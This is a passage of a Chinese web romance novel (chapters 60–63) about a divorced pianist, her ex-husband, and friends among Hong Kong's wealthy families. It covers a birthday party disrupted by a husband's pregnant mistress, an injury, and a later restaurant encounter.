Olivia就是地产大亨李家的儿媳,Mia十分讨厌的李小姐的嫂嫂。她姓石,单名一个娜,五岁时才随父母移居香港,出身中产之家,父母都是医生。 至今网上还流传着石娜为嫁入李家而做的努力,听说她父母一心想让她嫁入豪门,从小就培养她跳芭蕾弹钢琴,送她去读香港最好的国际中学,后来她如父母的愿和李二少谈恋爱,为了嫁进去,她父母不惜迁了祖坟。 传闻是真是假,贺羡棠也没关心过。 香港豪门媳妇里有太多这样的人,上一代这一代都*有。 Mia虽然讨厌李小姐,但是和Olivia关系不错,大概也有姑嫂不睦的缘故,所谓敌人的敌人就是朋友嘛! 贺羡棠一想到那么多人就头疼:“我不想去。sofia肯定也去,我还是算了。” “管她做什么?”Mia说,“你就是要去人多的地方待一待,沾点人气,别总缩在家里长蘑菇,就当来放松下心情。” 贺羡棠说:“陈医生昨天给我做了催眠,我现在很放松。” Mia诱惑她:“赵珩也去,我让他把他家那小猫抱去,你不想看?” 贺羡棠有些心动了,赵珩提过一次之后她一直想见。 Mia继续道:“你不去,我和那姓李的打起来怎么办?” “去。”贺羡棠说,“大小姐,我去。” Mia说要提前准备战袍,又把她拎去海港城。贺羡棠在店里,一口伯爵红茶一口蛋挞,托着腮看她试裙子。 “你不穿高定了?” 以往Mia一定会拿出她最能镇场子的一条裙子,直接从party上飞到戛纳走红毯都没问题。 “你不懂。”Mia边摆pose欣赏落地镜中的自己边说,“我转变策略了,就是要那种本小姐随便一穿也轻轻松松压过你的效果。” 李三小姐说不定要戴上能闪瞎全场人眼睛的高珠。贺羡棠实事求是:“听上去有点难度。” Mia说:“所以我才叫你来帮我!” 她身上一件希腊风挂脖白色长裙,手里一条藕粉色抹胸短裙,问贺羡棠:“哪条?” 贺羡棠指了一下她手上:“这条,换黑色,戴钻石耳钉和项链。” 裙子是前短后长的设计,不过拖尾也只是到小腿,抹胸连着胳膊上很宽大的蝴蝶结设计,轻透的面料能看见里面只到大腿根的内衬,挺公主风,但藕粉色的气场远远不够,黑色就好多了。 Mia仔细端详镜中,点了点头。 sa连忙夸:“您眼光真好,这是我们家的明星同款。” 谁料Mia听了这话,意兴阑珊地掀了下眼皮:“明星同款?” 好掉价。 sa说:“是啊,前不久晏宁穿过一次。” Mia说:“都包起来吧,还有我刚刚试过的那些。” 她换了衣服,坐下和贺羡棠一起喝茶聊八卦:“沈濯和晏宁怎么样了?” 新闻里闹的沸沸扬扬,全香港都知道沈二少泡女明星泡的不亦乐乎。 贺羡棠淡淡的:“不清楚。” Mia立刻品出丝不对劲来:“你跟姓沈的又怎么了?” “吵了一架。” Mia说:“前阵子给你打电话就是他接,我还以为你们俩同居了呢。怎么?不玩你那炮友游戏了?” 贺羡棠说:“没意思。” Mia冷不丁问:“没意思还是怕你自己心软?” 贺羡棠抄起一块蛋挞塞进她嘴里,Mia一副看透不说透的表情,贺羡棠忍不住说:“我前段时间觉得他变得很好。” 变成了她曾经期待的、梦寐以求的样子。 Mia说:“那不是挺好。” 贺羡棠说:“我在想,如果我们不离婚,他还会变成这样吗?” 无比耐心,无比温柔,看向她的目光里都饱含爱意。 Mia想了一会儿:“谁说得准呢。” 贺羡棠想到那支绘着海棠花的花瓶。那是沈澈第一次亲自为她准备礼物,虽然仍是借Tina之手送出的。 如果她再等一等,沈澈是不是也会慢慢发觉,原来他爱她。 可惜贺羡棠不想等了。 / Olivia的生日party在一家只接待会员的私人会所举办,这是她三十六岁的生日,她一直觉得,12是一个轮回的数字,在人世间走过三个轮回,她从观塘区的小公寓搬进了深水湾豪宅。 这场生日宴几乎请了圈内所有好友。 八点钟,Mia和贺羡棠在侍应生的引领下入场。 Mia穿了那条希腊风长裙,钻石流苏耳环,八公分的高跟鞋踩在光可鉴人的大理石瓷砖上,发出的每一下清脆的声音都像她的入场bgm。 贺羡棠在她身侧,一条黑白条纹衬衫裙,像是随便来玩玩的。 Olivia笑着迎过来,一口一个“bb”,让她们随便玩。 这种地方没什么好玩的,偏偏一进来就撞上了李三小姐,她真的上身高定,闪闪发光的裙子,闪闪发光的粉钻项链和耳环,整个人都闪闪发光。 Mia和她手牵着手,笑容中尽是对彼此的不屑。 “Mia姐姐今天这条裙子这么素,不是欧美浓颜系长相都撑不起来呢!”李三小姐表情夸张,“果然屁股大,穿什么都好看。” Mia咬着牙,笑容差点绷掉:“不如三小姐珠光宝气的,我还以为是哪家银行保险柜成精跑出来了。” 李三小姐抚着脖子上比鸽子蛋还大的粉钻,捂着嘴笑:“Mia姐姐怎么跟小模特儿混久了,眼界也小起来了,这点东西哪值得放保险柜。” 怎么还波及朋友?贺羡棠听出她骂叶微,忍不住怼她:“自然不像你,目中无人。” Mia接着从牙缝里挤出句:“说你土呢,bb,暴发户才这么穿。” 两人默契地同时松开手,李三小姐的笑最先绷不住。她胸腔剧烈起伏,深呼吸好几个来回。 Mia说:“bb,我开玩笑的,你不会当真了吧?” “当然没有。我不像你,那么小气。”李三小姐眨了眨眼,不等Mia反击,忽然扭头问贺羡棠,“cici今天怎么也来了?” 冲着她来的? 贺羡棠“啊”了声:“来……祝你嫂嫂生日快乐。” 李三小姐轻蹙了下眉:“可我记得今天是沈董生日啊。你们……?” 难搞。 贺羡棠忘了。 她继续讲:“你最近是不是搬到石澳住了?我上次陪朋友去玩,好像看见你了。怎么?不和沈董一起住了吗?” 更难搞了。 听她的语气,像是已经起疑。贺羡棠离婚的事情也就两家人和亲近的朋友知道,如果被她知道了,明天全香港也就都知道了。 贺羡棠笑了下,正在飞速思考怎么回答。 Mia说:“好像八婆哦。” 李三小姐做了个楚楚可怜的表情:“我只是关心cici啊,bb,你怎么能以己度人呢!” 身后忽然有道低沉熟悉的声音—— “我的生日,李小姐记得这么清楚?” 贺羡棠回头,还没反应过来,顺势被沈澈揽住细腰。 她鼻尖嗅到一丝清爽的雪松香。 沈澈凑到她耳边,姿态亲密,用在场几个人都能听清的声音讲:“她都敢到你面前乱讲话?” 60-70 61 第61章 ◎贺羡棠和Mia对视一眼,彼此眼中都是吃瓜的欲望。◎ 豪门也分圈层。像沈家这种,富了不知道多少代,与各国政要王室都有着千丝万缕的联系,家族里的老人能披着国.旗下葬,自然是在金字塔尖上的。 李三小姐自讨没趣,很尴尬,脸上的笑快挂不住了,缓了缓,稳着风度讲:“哎,瞧我糊涂了,那日见你搬去石澳住就乱想,忘了你们夫妻感情最好,金童玉女呢。我也是关心则乱,cici,你不会生气吧?” “怎么会。”贺羡棠笑了下,“唔该。” M李三小姐也没心情同Mia继续吵下去,这边乱哄哄地散了,Olivia作为主人过来,与沈澈寒暄。 Olivia很惊喜,唇角止不住地上扬。 她虽然给沈澈送了请帖,但那只是礼节上地表示,也没真期待他会赏光。毕竟沈董事长前面那个“执行”二字终于拿掉了,他的时间比以前更值钱,怎么会浪费在她一个小人物的生日宴上? Olivia自我认识十分清晰。她一个人家的媳妇,月月手心向上领生活费,对李家的生意一窍不通,不是小人物是什么?况且和沈澈比起来,在场哪个不是“小人物”? 也不知道沈澈看谁的面子才会纡尊降贵,总不可能是她,她那个不成器的丈夫看上去也不够格。 Olivia想来想去想不出个所以然。不管怎么样沈澈来了,她面上有光,抬头挺胸收腹,笑容大方得体,端着宴会女主人的范儿:“真没想到您会来。” “生日快乐。”沈澈懒散地掀起眼皮,与她碰杯,“礼物交给管家了。” Olivia说:“你们夫妻俩真是客气,礼物还送双份的。” 沈澈垂眸看贺羡棠:“你送了什么?” “项链。”贺羡棠盯着他,不情不愿又滴水不漏地讲,“我不是告诉你了,你又不知道忙什么没听见。” 沈澈笑了下,随口道:“忘记了。” 他的敷衍浮在明面上,目光只看向贺羡棠,一条胳膊还揽在她腰上,Olivia也不是那没有眼色的人,打扰人家夫妻俩相处,又说了几句客套话就离开了。 “可以放手了。”贺羡棠推他胳膊。 沈澈说:“都看着呢。” 他带她去清净的角落里坐下,贺羡棠实在不想理他,又不得不在这种场合和他扮演恩爱夫妻,不好抛下他独自去玩,也端了杯香槟,小口小口地抿着喝,感受气泡在舌尖跳跃。 她酒量差,也不懂酒,只觉得今天宴会上用的香槟入口倒是柔和,气泡小而绵密,有一点果香,能接受。 枯坐着无聊,Olivia请了乐团演奏,她就跟着音乐默默背谱子,全当是做视唱练耳了。 只是一晚上而已,很快就能过去。 她目光都涣散了。沈澈曲指蹭了下她脸颊,柔软、滑溜溜的触感:“发什么呆?” 贺羡棠下意识向后躲,看见他眼底一摸失落滑过。 “你今天怎么会来?” 今天是他生日,贺羡棠居然忘了。以前她很在意这一天,沈澈却无所谓,在他看来生日也不过是三万天里普通平凡的一天。 除了刚结婚那两年贺羡棠执意为他庆祝之外,他从不过生日,照常上班。而贺羡棠自从被他说“幼稚”之后,也放弃给他庆生了。 听郑婉秋说,他从小就没这么习惯。三十多岁了,估计也就正经过了两年生日。 这么想来,当初也不能怪沈澈不记得她的生日——他连自己的都不记得。 沈澈说:“路过,顺便来看看。” 他记得Mia和Olivia关系不错,就想来碰碰运气,看能不能遇见贺羡棠。 贺羡棠“哦”了声,又不说话了。 香槟喝了一小半杯,再继续喝要醉了,贺羡棠及时停下,一分神,谱子忘记背到哪了,正重新听,沈澈说:“今天是我生日。” 他声音听起来有几分幽怨。 贺羡棠又“哦”了声。 胡桃夹子花之圆舞曲,D大调,竖琴空灵,但有个音弹错了。 沈澈咳了声。 贺羡棠疑惑。 贺羡棠不语。 沈澈只好重复:“今天是我生日。” 重音在“今天”和“生日”上。 刚刚不是讲过一遍了?她又不聋。贺羡棠搞不明白他想干什么:“生日快乐?” 沈澈问:“你送Olivia礼物了?” “来白吃白喝,当然要带礼物。”贺羡棠不耐烦,“刚刚不是已经说过这件事了,你今天怎么回事?反反复复的。” 沈澈只好抿紧唇瓣。 她送Olivia礼物,但她连自己的生日都忘了。 贺羡棠见他终于不说话,默默地玩手指去了。两手的食指和中指搭在桌面上,学螃蟹走路。 两只手的手指同步动,对于协调性差的人来讲很难,但她是弹钢琴的,玩这种小游戏不在话下,修长的手指起起伏伏,十分和谐。 小提琴声飘的很远,间或夹杂着几声不清晰的谈笑,宴会厅里灯光昏暗,几乎要与窗外温柔的夜色融为一体。 沈澈在这夜色里隔着跳跃的烛光和鲜花看她。 很简单的小游戏,她玩的认真,低垂着脸,因此眉眼显得很温柔。黑发垂下,贴着一张小巧素净的脸,如明月。 忘了就忘了吧,沈澈想。 他以前也没记得过她的。 多日不见,他想她想的紧,就这样静静地坐着,看她自娱自乐,沈澈都品出点岁月静好的味道。 这样他也知足了。 总有人想上前来与沈澈交谈,他头也不抬,只是手背向后挥一挥,以示拒绝,次数多了,今日宴会上的人也能看出来他不愿被打扰,渐渐他们坐的这片地方越来越清净。 但也总有那么几个没眼色的,比如——Mia和赵珩。 随着赵珩一声“cici”,空气就像裂了纹的玻璃,各种噪音“砰”一下炸开了。 赵珩欢欢喜喜地抱着只小奶猫,越过人群、乐队、三张长餐桌挤过来。 “cici!看看看看,这就是我家猫!” Mia紧随其后:“一段时间不见这猫长的还挺快。” “小幼猫么,一天一个样。” 赵珩把那小奶猫放桌上,贺羡棠眼睛立刻亮了:“能摸吗?” 赵珩顺手在猫背上顺了两把毛:“你抱也没问题啊。可乖了,不咬人。” 贺羡棠没养过宠物,不熟练,小心翼翼地也在猫背上摸了两把。赵珩见状,拎起猫后颈塞进她怀里:“抱着呗!” 贺羡棠像抱小孩一样的姿势。 只是这么大的小孩能老老实实待在她怀里,猫就不一样了,舔舔爪子,弓着脊背,后爪一蹬就跃出去了。 Mia说:“你这姿势不对,太僵硬了cici,你没养过猫还没见过人家养猫吗?” “看别人抱和自己抱不一样。”贺羡棠迷茫地看着赵珩,“要怎么抱?” 她看别人抱的都挺轻松,但那小东西往她怀里一躺,流体动物似的,她就不敢动。 赵珩把猫抓回来,又塞进她怀里,直接上手了:“这样,这样,托着他屁股,哎对了!” Mia掏出手机咔咔地拍照:“你家猫有名字了吗?” “没有啊。”赵珩牵着贺羡棠左手,让她的左手抱住猫的前爪。 怎么还动手? 沈澈咳了一声。 几个人同时停下,望向他。空气安静了一秒,三个人心照不宣地达成共识——不用搭理他。于是又热闹起来。 赵珩:“对对对就是这样!” Mia:“我拍个照,cici看镜头。怎么还不起名啊?” 贺羡棠:“耶。” 赵珩拍了下贺羡棠肩膀:“你来取吧?” 贺羡棠说:“它是男孩子还是女孩子?” 说着就要托起它屁股看。 Mia连忙阻止她:“女孩子女孩子!哎呀大庭广众之下咱们孩子也是会害羞的好不好!” 贺羡棠抱着猫笑作一团:“叫Fanta吧,好不好?” “Fanta。”赵珩一拍手,“好!就叫Fanta!” 贺羡棠轻声唤:“Fanta,Fanta。你能借给我养两天吗?” “不行。”赵珩很宝贝似地抱走他的猫,“想看来我家看。” 贺羡棠点头:“好。” 反正过去也方便。 沈澈不太好。 怎么还要去他家? 这跟养孩子有什么区别? 他又咳了两声,这次没人理他。贺羡棠兴高采烈地和赵珩讨论这么小的猫吃什么玩什么,Mia手肘搭着贺羡棠肩,歪歪斜斜地站着,半个身子的重量都压在贺羡棠身上。 贺羡棠嘟囔了句:“好重。你是不是胖了?” Mia跳脚:“胡说!我明明在减肥!” 她的手从胸前划至腰间,比了个S:“是不是姐姐我过去前凸后翘凹凸有致给你的错觉。” 贺羡棠:“……” 赵珩一本正经地说:“嗯……贺大少好福气。” Mia跳起来要揍他,胳膊刚伸出去一半,被一声炸开的“李向明”吓的缩了回来。 贺羡棠也愣了下,和Mia同时探着脖子瞧。 李向明是Olivia老公的名字。 这样的晚宴上,谁会大喊大叫? 众人皆转过身,循着声音来源望去。贺羡棠的视线越过重重人群,看见了一个二十来岁的女生。 很漂亮,瓜子脸,长头发,穿一条长度刚过膝盖的黑色蕾丝裙子,四肢纤细,腹部却微微隆起。 她环视四周,大喊:“李向明,别躲了,我知道你就在里面,你给我出来!” Olivia捏着香槟杯,指甲微微泛白。 她脸上挂着笑,连句“小姐贵姓”都没问,只让保安把她赶出去。 贺羡棠和Mia对视一眼,彼此眼中都是吃瓜的欲望。 这女生也不负众望,一人与几个保安拉扯周旋,她明显怀孕了,保安也不好强硬地拖她走。 她声音大,但距离太远,多少听不清。Mia牵着贺羡棠的手悄悄往前凑,七七八八听的差不多了。 这女人是李向明在外面养的情人,怀了孕,结果李向明没担当,躲起来了。 Mia悄声和贺羡棠耳语:“Olivia老公一直这么不老实。” 贺羡棠也凑在她耳边:“这种男人就应该阉了。” Mia说:“她又有什么办法?孩子都生了好几个,还是月月花信托。哦对了,这个女人……上个月是不是被港媒拍到过?我好像看见新闻了。” 贺羡棠边叹气边摇头。Mia要给她搜新闻,发现忘记带手机了,折返回去拿。 贺羡棠朝墙边角落里没人的地方躲,保安的宽大的身影正好能挡住她,她正好能自己玩会儿手机,搜索Mia说的那条新闻。 谁知那女人竟推倒了身旁半人高的玻璃装饰品,角度十分刁钻,保安一躲,那么大的一座玻璃就直勾勾地奔着贺羡棠的方向去了。 Olivia顿时大惊失色。 贺羡棠还沉浸在一股悲伤之中,一口气没叹完,余光里,东西已经要砸到她脸上了。 她轻轻“啊”了声,来不及躲。 完蛋了,这次要毁容了。 电光火石间,沈澈拽着贺羡棠手腕,把人扣进怀里,脚步一转,将她挡在身后。 “砰”,玻璃碎了一地。 城门失火,殃及池鱼。贺羡棠这只小鱼倒霉兮兮地抬起脸,入目先看见了Olivia一脸要哭的表情。 完蛋了。Olivia才真的是觉得要完蛋了。 碎玻璃溅到沈澈胳膊上,血正往外流。 Olivia简直想死,一边喊着“沈董”一边让保安赶紧把女人拖出去一边踩着碎玻璃飞奔而来。 “我,这……”Olivia咽下口水,“去楼下房间,让医生来处理一下吧。” 贺羡棠惊魂未定,眼睫眨了眨,一动不动地看着沈澈正在流血的小臂。 她有点懵。 看来下次吃瓜,还是不能跑到最前面。 沈澈用没受伤的那只胳膊环住她,问:“心疼我了?” 笑容居然是前所未有的阳光明媚,闪了一下贺羡棠眼睛。 【作者有话说】 昨天没更,抱歉抱歉,今天评论区发几个小红包^ω^ 俺放假啦!哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 62 第62章 ◎一定要在垃圾桶里选男人吗?◎ Olivia找的医生很快就到了,请沈澈到楼下房间去处理伤口,他牵着贺羡棠的手不松开。 众目睽睽,贺羡棠没办法,只好陪他一起。 她坐在沈澈对面的沙发上,看医生熟练地消毒,用小镊子夹出碎玻璃,沈澈的呼吸每重一分,她就抬头看他一眼。 忍着痛意的呼吸就像一场春雨,贺羡棠的愧疚和歉意终于萌芽,疯狂滋长。 “抱歉。”贺羡棠说,“今天谢谢你,还好你反应快,不然我可能就要毁容了。下次吃瓜,我真的会躲远点的。” 她捧着自己的小脸蛋,心有余悸地轻轻拍了几下,小声嘀咕:“还好还好。” 还好没毁容。 不然她可怎么去比赛? 真是无妄之灾。 没想到她还挺爱听八卦,沈澈低笑了声,拍拍他旁边的位置,示意贺羡棠坐过去。 贺羡棠装看不见,正巧有人敲门,她顺势起身,去开门。 Olivia站在门外,一脸歉意道:“沈董没事吧?真是不好意思,今天居然搞成这个样子……” “没事没事!”贺羡棠说,“他皮糙肉厚,受点伤没什么。” 她说的真情实感,一点也没有客套的意思。 贺羡棠觉得Olivia已经很惨了,生日宴被老公的情人搅的天翻地覆,偏偏这个情人还怀着孕,偏偏这个生日宴上全港的权贵都到齐了。 这真是里子面子都没丢光了,明天港媒又不知道要写什么博眼球的大字标题。 吃瓜归吃瓜,贺羡棠和Olivia也称得上朋友,这会儿她实在不想Olivia还要因为沈澈的事过意不去,索性就先委屈下沈澈。 贺羡棠柔声说:“这是意外,你真的不要放在心上,何况只是一点小伤口。” 贺羡棠有种魔力,让人不介意在她面前表现脆弱。Olivia“嗯”了声,说她改日再携丈夫登门致歉,提到李向明,她眉眼间流露出几分失落。 话音落地,两人同时沉默。 Olivia个子高,又穿高跟鞋,贺羡棠踮起脚抱了她一下,不知道说什么,就轻轻拍了下她肩膀。 Olivia五指插入发间,头发向后拢,勉强扯着唇角说:“我没事,其实已经习惯了。” Olivia的事情,贺羡棠知道一些。李向明是个不老实的,婚前就有无数风流债,Olivia是其中之一,她能嫁进李家,一方面是她怀孕了,另一方面也是她家公看中了她的面相和八字,风水先生说她八字旺夫旺子嗣,很有福气。 婚后李向明本色不改,Olivia还在孕期,就忙着应付他那些各式各样的女人,有时候李向明在外面玩腻了,还会专门让Olivia把人打发走。 她家公只在她生孩子的时候给生育奖励,生第一个孩子,她家公送豪宅珠宝,生二胎,送游艇和教育基金。 香港的大家族讲究人丁兴旺,还要顺其自然,代/孕或者人工受精都不行,她36岁了,还在准备怀三胎。 看在钱的面子上,这份婚姻仍然维系着。所谓千亿儿媳,也只是表面风光。 其实不止是她。贺羡棠见过太多这样的人,连她以前觉得不错的周聿安也会出轨,男人好像天生就会朝三暮四。 也不止是高嫁才会如此,门当户对的联姻中也不乏表面夫妻,无非是女方在经济上更自由些。 或许对于他们这样的男人来说,女人只是唾手可得的资源,不需要他们花心思,只需享受即可,他们不认为这是道德上的瑕疵,而是无关紧要不值一提的小事。 贺羡棠想安慰Olivia几句,又觉得说什么都不合适,就笑了笑。 Olivia跟她聊闲天:“说起来还是你福气好,沈董这样的男人可不多见。” 贺羡棠想起当初贺齐和林樾要给她联姻,在香港同辈适龄的男人里挑了一圈,也是因为人品端方才挑中沈澈。 贺齐称他“相貌堂堂,人品贵重”,配他女儿再合适不过。 在这方面,沈澈确实无可挑剔。 贺羡棠说:“李少最起码贴心,沈澈像个木头人。人就是这样,各有优缺点。” 李向明虽然不忠诚,但对妻子足够贴心,贺羡棠之前和他俩夫妻俩吃饭,李向明连虾都给Olivia剥。 贺羡棠其实觉得,李向明挺喜欢Olivia的,只不过这点喜欢不足以让他不在外面乱搞。 Olivia叹口气:“是啊,哪有十全十美的。” 就这个话题聊了两句,Olivia就离开了。贺羡棠回去时,沈澈的伤口已经包扎好了,医生正收拾东西准备离开。 “聊什么这么久?” “随便聊一聊。”贺羡棠告诉他,“Olivia说改天要带李向明一起登门向你道歉。” 沈澈嫌烦:“让她不用麻烦。” “你自己跟她说去。”贺羡棠转到他跟前,说,“我看看胳膊。” 沈澈抬手给她看,绷带上因大幅度的动作又渗出一点血,贺羡棠说:“你别乱动了。” 医生没打扰他们讲话,悄声离开。 贺羡棠蹲在沙发边,端详沈澈受伤的小臂,伤的是右手,她莫名有些担忧:“你还能写字吗?” 每天那么多份文件要他过目签字。 沈澈笑她的关注点很奇怪:“我左手也能写字。” 贺羡棠不知道:“是吗?” 也就是现在没有纸笔,否则沈澈一定要当场表演给她看。 贺羡棠说:“你还挺多才多艺。” 她站起来,起猛了,眼前一阵发黑,闭上眼睛缓一下,再睁开眼时,沈澈笑盈盈地看着她。 “我还会用左手写小篆。” 那语气像个考了一百分找老师讨要夸赞的小学生。 贺羡棠反应平平:“我不认识。” 沈澈:“……” 他的伤口也处理完了,贺羡棠不想继续待下去,说:“我先走了。” 说走就要走?沈澈拉住她手腕,仓促间没注意是受了伤的那只手,血又渗出来,他也没在意。 “今天是我生日,能陪我吃晚餐吗?” 宴会上两人都没来得及吃东西。 贺羡棠垂眸,居高临下地看着他,过了会儿淡淡说:“我没时间。” 借口都找的这么敷衍,沈澈眼眸中闪过一丝受伤的神色。 “以前我也会陪你吃晚餐。” Tina会包下餐厅安排烛光晚餐,他错过的,也只有光千照产女时那一次。 贺羡棠说:“以前我们是夫妻。” 现在他们在法律上没有任何关系。 沈澈缓缓地眨了下眼,心脏像被什么攥住了,密密麻麻地疼。 每次一想到这个事实,巨大的无力感都会如海浪般吞噬他。 原来失去贺羡棠这件事情,真的是无可挽回的吗? 沈澈从前不觉得贺羡棠是这样的铁石心肠,如今领会,也拿她没办法。 他说:“那我送你回去。” 贺羡棠拒绝:“不用,Mia送我。” 沈澈仍不松手,两人沉默,无声地像一场对峙。 沈澈眼底有一点细碎的光,其实是水晶灯映在了眼底,却显得一双眸子水盈盈的。贺羡棠移开目光,她真有点受不了沈澈这么看着她。 凛冽的雪松香混着一点铁锈味往她鼻孔里钻。贺羡棠忽然冒出一个念头——他为她受伤。 不光身体,心里也是。 沈澈这样的木头人,也会受伤。 电话铃声炸开,来电人是Mia,贺羡棠猛然回过神,按了挂断:“Mia催我了。” 沈澈松开手,拇指在她腕上摩挲了一下,酥酥麻麻的触感,有点痒。贺羡棠另一只手心贴在被他抚过的位置,用自己的体温覆盖他留下的余温。 “你……伤口注意不要沾水,我先走了,拜拜。” 转身的一刹那,沈澈叫她:“贺羡棠。” 贺羡棠微微转头看他:“啊?” “如果……”沈澈双手搓了下脸,看上去很挫败,又有些贺羡棠看不明白的紧张,“如果你暂时不能接受我,能不能别推开我,让我不远不近地陪着你也好。” 贺羡棠没说“好”也没说“不好”。 回去路上,她和Mia聊到Olivia,Mia说:“她够惨的,头上不知道戴了多少顶绿帽子。要我说男人怎么管不住自己的下半身呢?婚礼誓词都说到狗肚子里去了。” 这是老生常谈了,贺羡棠却忽然想起另一件事:“你和贺少川怎么样了?” Mia含糊地说:“就那样吧。” 贺羡棠问:“哪样?” Mia摸了下鼻尖:“你要听吗?” 贺羡棠顿了一下:“算了。” 她怕Mia又给她讲贺少川在床上表现如何。 话题又回到Olivia身上,贺羡棠把她和Olivia的对话讲给Mia听,末了说:“抛开总给Olivia戴绿帽子不谈,李向明还是挺贴心的。” Mia想了下问:“那……一个会出轨但是温柔会关心你的男人,一个忠诚但是冷若冰霜的男人,你怎么选?” 贺羡棠疑惑地看了她一眼:“一定要在垃圾桶里选男人吗?” 63 第63章 ◎他想要贺羡棠施舍他。◎ 弹琴、每周一次心理咨询、偶尔回家看贺齐和林樾,时间跑的飞快,等贺羡棠公寓露台的造景差不多弄好时,夏天已悄然而至。 贺羡棠回去看了一眼。青石板小路旁植无尽夏,花池里玛格丽特、摩洛哥小雏菊和果汁阳台,香松雪柳错落,一角做了日式流水造景。 她很满意,为表感谢,约Chloe去翠园吃饭。 四季更迭,循时而食。六月,翠园夏季菜单已更新。气温高,食材的处理就需要多一份清爽,鱼和螺肉鲜甜,牡丹虾佐以柑橘调味,云南的菌子也上了餐桌,加了蟹肉瑶柱的冬瓜盅解暑,雪莲芯澄澈回甘。 多上了一道荔枝雪葩。 贺羡棠随口问侍应生:“我没点甜品吧?” 侍应生微微一鞠躬,举起右手示意:“是那位先生点的。” 贺羡棠顺着他的动作向右看,视线略过屏风一角,望见沈澈坐在落地窗前。 窗外是维港夜景。海水轻轻荡漾,璀璨华丽的内透灯光后,不远处山上一缕薄雾。 他来应酬,西装革履,助理陪同,对面坐着政务司官员和他太太。 显然他们刚到,桌上菜品还未上齐。沈澈笑的冷淡,偶尔抬头,视线也略过屏风,与贺羡棠的目光撞在一块儿,略一点头,算打招呼。 视线一触即分。 他现在这样,是贺羡棠最熟悉的样子。举止风度,神色淡漠,那份淡漠不是倦怠,而是因为天下事都在他的掌控之中。他运筹帷幄,无往不利。 贺羡棠想起那晚Olivia生日宴后他邀她吃晚餐的目光,如有月光破碎,和如今截然不同。 他讲“不远不近地陪伴”,居然说话算数。他的身影每天都在,日日有人往家里送一束花,上周贺羡棠和陈嘉欣聊天时随口提了句手腕不舒服,隔日送花的人就一并送来了缓解肌肉痛的膏药。 但他的身影也在贺羡棠的生活中隐去了,算算时间,*自从Olivia生日后,贺羡棠就没再见过沈澈。今晚是第一面。 他打算这样陪她多久?一年、两年?还是五年、十年? 未来飘渺遥远,贺羡棠垂下眸,挖一勺甜品放进嘴中。 司长太太大笑:“你们夫妻俩怎么弄的像不认识一样?叫cici一起来吃啊!” “我没告诉她今晚来翠园,她和朋友聚餐,凑巧碰上了。”沈澈说,“让她自己玩吧。” 司长太太碰了下丈夫:“看见没?这真是相敬如宾。” 司长只笑。他在政府部门工作,知晓内情,笑意里赔着尴尬。 五年婚姻,沈澈听到最多的赞美,就是这句“相敬如宾”。大概在外人眼里夫妻俩确实彼此尊重,亲疏有度。 沈澈以前觉得好,夫妻关系本该如此,现在想来,这词未免有些太疏离。 就比如——贺羡棠从不和他发脾气闹别扭。 一闹就闹了个大的。 况且离婚后再听到这样的话,他心里不是滋味。贺羡棠不愿意他去打扰,沈澈只能用一种沉默的方式陪着她。 就像那些年,贺羡棠也是沉默地待在他身边。 这样的状态要持续多久?即便是再来五年,沈澈都认了。 可如果贺羡棠一辈子都不再回心转意呢? 如果她喜欢上了别人呢? 面对这些问题,沈澈萌生的只有逃避。他第一次逃避问题,第一次学会,原来在感情里,无论地位如何、财富如何、智慧如何,动心的那个人只能是等着别人施舍一点爱的角色。 他想要贺羡棠施舍他。 哪怕只是可怜他。 沈澈那点烟瘾又犯了,食指和拇指蹭了蹭,起身说:“我去下洗手间。” 走前,他给助理递了个眼神,让他招待好。 沈澈转去露台吸了支烟,手肘搭在围栏上。他的位置刚好能看见贺羡棠,对面的女生看起来很善谈,引得贺羡棠连连大笑。 她笑起来很漂亮,灵动的眸,眼波流转。 一支烟燃尽,沈澈在外面吹风,散了会儿味道。再回去时,正巧碰上贺羡棠要离开。 两人相聚不过几米,如隔一汪秋水,两人相望,沉默了一会儿。 贺羡棠的视线扫过沈澈,锃亮反着光的皮鞋,熨烫的笔挺的西裤,衬衫袖口下露出一块精致的表盘。 矜贵、优雅、芝兰玉树般的人。 沈澈最先打破沉默:“手腕还疼吗?” 贺羡棠的手心贴上左手手腕:“还好。” “开车了吗?” 贺羡棠摇头。 沈澈给他的司机打电话,让人送她回去。 简短交谈后,两人分开,一个向外走,一个向里走,背道而驰。 Chloe跟在贺羡棠身侧,很聪明地只挑与沈澈无关的话题聊:“你手腕怎么啦?” “最近练琴练太久,有点痛。”贺羡棠抬起手给她闻,一点清亮的薄荷药膏味。 侍应生按电梯。 Chloe用胯顶她,仰天长叹:“唉——这么有钱还这么努力,让我们怎么活啊!” 香港的夏天闷热无比,酷暑、潮湿,隔三差五地下雨,即将又有台风登陆,因此即便露台修好了,贺羡棠依旧在石澳躲清净,懒得搬回去,只雇了人照顾她的花草。 某天奢侈品店员来给她送本月的衣服,在衣帽间的沙发上找到一件遗落的男士衬衫。 三个衣帽间,这一间贺羡棠不怎么过来,于是它就一直待在那。 是沈澈留下的。 贺羡棠拿起来时,上面男人的味道已经消失殆尽了,转而被她衣帽间里梨子味的香薰覆盖。 还?还是不还? 这是一个问题。 还的话,就意味着贺羡棠又要主动联系他。这么多天好不容易找到的平衡很有可能再次被打破。 不还的话…… 贺羡棠盯着那件衬衫发呆,就是一件款式很普通的白衬衫,只能从剪裁和面料上看出他不菲的价格。 贺羡棠感觉沈澈有上百件一模一样的衬衫。 好像不还也行,他自己估计都忘了。 但是……良心上好像有些过不去。 思来想去,一直到店员走了,她也没办法决断。 陈嘉欣下午过来,贺羡棠就暂且把这件事搁置了。 “cici!”陈嘉欣一阵风似地拐进来抱住她,“又见面啦!” 她晃晃手里的纸袋:“开心果泡芙和可露丽,中环新开的甜品店,可火了,我排了好长时间的队!你想先尝尝吗?” 贺羡棠说:“我正好有点饿。” 她让管家泡伯爵红茶端到一楼会客厅,大幅落地窗可一览花园景色,这时节入目一片翠绿,草坪上两只雪白羽毛的柯尔鸭追逐玩闹,只是天色阴着,看上去又要下雨了。 “早上还是晴天呢。”贺羡棠打了个哈欠,天色差她就犯困。 陈嘉欣说:“香港就这样喽,又要刮台风。” 贺羡棠都有点讨厌下雨天了。 吃完甜品,两个人半躺在摇椅上晃着腿,看天看云,聊两句闲话,陈嘉欣提到她下周要去美国参加一个行业论坛,没办法给贺羡棠做咨询。 “经过我专业的评估,你目前的状态很不错,可以考虑延长咨询间隔时间了,半个月一次或者一个月一次。” “真的?”贺羡棠只想着另一件事,“那我是不是就能尝试一下你说的那种恐惧消除式的催眠?” 陈嘉欣看了眼天色:“今天天气不好。” 没有阳光,很容易让人心情低落,不是个好时候。 